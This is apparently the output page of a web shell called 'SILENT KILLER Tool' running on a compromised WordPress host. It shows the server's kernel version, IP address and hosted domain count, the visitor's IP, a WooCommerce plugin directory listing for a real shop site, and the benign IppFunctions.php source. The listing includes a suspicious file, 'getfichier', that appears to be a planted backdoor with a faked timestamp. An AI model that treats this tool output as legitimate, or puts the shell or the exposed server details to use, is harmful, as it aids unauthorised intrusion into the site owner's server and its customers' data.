Current Path: > home > codekrsu > > cuddlebuds.lk > wp-content > plugins > woocommerce > src > Internal > > Orders
Operation : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 162.0.232.56 | Your IP: 216.73.216.111 Domains : 1034 Domain(s) Permission : [ 0755 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
CardIcons | Directory | - | - | |
CouponsController.php | File | 3602 bytes | March 21 2023 20:45:06. | |
IppFunctions.php | File | 2243 bytes | January 21 2025 18:53:44. | |
MobileMessagingHandler.php | File | 5634 bytes | April 10 2024 16:54:10. | |
OrderActionsRestController.php | File | 21319 bytes | March 03 2025 22:28:12. | |
OrderAttributionBlocksController.php | File | 4472 bytes | March 03 2025 22:28:12. | |
OrderAttributionController.php | File | 15686 bytes | March 03 2025 22:28:12. | |
OrderStatusRestController.php | File | 2683 bytes | December 18 2024 22:19:16. | |
PaymentInfo.php | File | 4819 bytes | December 16 2024 15:24:32. | |
PointOfSaleOrderUtil.php | File | 740 bytes | May 12 2025 21:07:28. | |
TaxesController.php | File | 1842 bytes | August 24 2022 02:07:06. | |
getfichier | File | 9781 bytes | August 24 2022 02:07:06. |
<?php namespace Automattic\WooCommerce\Internal\Orders; use WC_Order; use WC_Gateway_COD; /** * Class with methods for handling order In-Person Payments. */ class IppFunctions { /** * Returns if order is eligible to accept In-Person Payments. * * @param WC_Order $order order that the conditions are checked for. * * @return bool true if order is eligible, false otherwise */ public static function is_order_in_person_payment_eligible( WC_Order $order ): bool { $has_status = in_array( $order->get_status(), array( 'pending', 'on-hold', 'processing' ), true ); $has_payment_method = in_array( $order->get_payment_method(), array( WC_Gateway_COD::ID, 'woocommerce_payments', 'none' ), true ); $order_is_not_paid = null === $order->get_date_paid(); $order_is_not_refunded = empty( $order->get_refunds() ); $order_has_no_subscription_products = true; foreach ( $order->get_items() as $item ) { $product = $item->get_product(); if ( is_object( $product ) && $product->is_type( 'subscription' ) ) { $order_has_no_subscription_products = false; break; } } return $has_status && $has_payment_method && $order_is_not_paid && $order_is_not_refunded && $order_has_no_subscription_products; } /** * Returns if store is eligible to accept In-Person Payments. * * @return bool true if store is eligible, false otherwise */ public static function is_store_in_person_payment_eligible(): bool { $is_store_usa_based = self::has_store_specified_country_currency( 'US', 'USD' ); $is_store_canada_based = self::has_store_specified_country_currency( 'CA', 'CAD' ); return $is_store_usa_based || $is_store_canada_based; } /** * Checks if the store has specified country location and currency used. * * @param string $country country to compare store's country with. * @param string $currency currency to compare store's currency with. * * @return bool true if specified country and currency match the store's ones. false otherwise */ public static function has_store_specified_country_currency( string $country, string $currency ): bool { return ( WC()->countries->get_base_country() === $country && get_woocommerce_currency() === $currency ); } }
SILENT KILLER Tool